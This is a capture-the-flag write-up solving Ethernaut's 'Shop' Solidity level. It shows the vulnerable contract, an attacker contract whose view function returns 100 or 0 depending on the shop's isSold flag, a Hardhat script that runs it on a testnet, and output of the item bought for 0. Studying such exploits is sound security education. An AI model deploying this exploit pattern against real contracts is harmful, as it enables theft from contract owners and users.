Ethernaut #21 Shop
Shop
Challenge
Сan you get the item from the shop for less than the price asked?
Things that might help:
Shop
expects to be used from aBuyer
- Understanding restrictions of view functions
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
Background
By the looks of it this challange is a bit akward. It does not seem to accomplish much by design, but after trying to solve it, the point of it is clear. In general it looks a lot like the Elevator
challange. However, in this case the function is a view
which means it cannot update the contract state. For the Elevator
challange the contract state update was used as the main technique to change the return value.
In this case, since the state “cannot” be updated that easily, we could relly on “side-channel” techniques to achieve this such as measuring the remaining gas, or check other state changing variables. In this case such a variable exists and it is the isSold
variable in the Shop
contract.
I actually believe that if we where to skip all the compiler checks in solidity (if that is possible), or just write a function in raw EVM assembly, we could possibly bypass the view
restriction and have a state changing function. However, I did not try this and I’m not sure it would work, I just don’t clearly see why it wouldn’t.
Attack
Create a contract that implements the Buyer
interface
. This contract should be able to call the Shop
contract buy
function and return 100
or 0
for price depending if the Shop
variable isSold
is set or not. If the isSold
is set, it should return 0
otherwise it should return 100
. This way, during the first check, the function will return 100
while at the second check it would return 0
.
- Create a contract that:
- impelemnts the
Buyer
interface
but whenprice
is called, the price return would depend on theShop
contractsisSold
variable- If
isSold
istrue
-> return0
- If
isSold
isfalse
-> return100
- If
- implements a
buy
function that triggers theShop
contractbuy
function
- impelemnts the
- Trigger the attacker contract
buy
function
ShopSolve.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.4;
import "../challenges/Shop.sol";
contract ShopSolve {
Shop shopContract;
constructor(address payable _shop) public {
shopContract = Shop(_shop);
}
function buy() public payable {
shopContract.buy();
}
function price() external view returns (uint256) {
if (shopContract.isSold()) {
return 0;
}
return 100;
}
}
shop-solve.js
const hre = require("hardhat");
const { ethers, upgrades } = require("hardhat");
async function main() {
shopAddress = "0x7B710215cc6901910B2940D2CC8b5758eB7d70B7";
contract = await ethers.getContractAt("Shop", shopAddress);
const accounts = await hre.ethers.getSigners();
account = accounts[0];
ShopSolve = await ethers.getContractFactory("ShopSolve");
shopSolve = await ShopSolve.deploy(contract.address);
await shopSolve.deployed();
console.log("Level address : " + contract.address)
console.log("Is Sold : " + await contract.isSold())
console.log("Price : " + await contract.price())
// trigger attacker contract buy function
tx = await shopSolve.connect(account).buy()
receipt = await tx.wait()
console.log("Is Sold : " + await contract.isSold())
console.log("Price : " + await contract.price())
}
main().catch((error) => {
console.error(error);
process.exitCode = 1;
});
$ npx hardhat run scripts/shop-solve.js --network rinkeby
Level address : 0x7B710215cc6901910B2940D2CC8b5758eB7d70B7
Is Sold : false
Price : 100
Is Sold : true
Price : 0
Success Message
Contracts can manipulate data seen by other contracts in any way they want.
It’s unsafe to change the state based on external and untrusted contracts logic.